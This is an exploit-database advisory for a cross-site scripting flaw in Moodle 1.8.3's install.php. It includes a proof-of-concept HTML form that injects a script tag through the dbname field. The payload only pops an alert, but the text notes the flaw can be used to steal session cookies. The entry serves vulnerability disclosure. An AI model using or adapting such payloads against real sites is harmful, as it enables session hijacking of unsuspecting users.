Lucene search

K
exploitdbHanno BockEDB-ID:31020
HistoryJan 12, 2008 - 12:00 a.m.

Moodle 1.8.3 - 'install.php' Cross-Site Scripting

2008-01-1200:00:00
Hanno Bock
www.exploit-db.com
27

AI Score

7.4

Confidence

Low

source: https://www.securityfocus.com/bid/27259/info

Moodle is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects versions prior to Moodle 1.8.4. 

<form method="post" action="http://localhost/moodle/install.php"> <input type="hidden" name="stage" value="3"> <input type="text" name="dbname" value='"><script>alert(1)</script>'> <input type=submit> </form>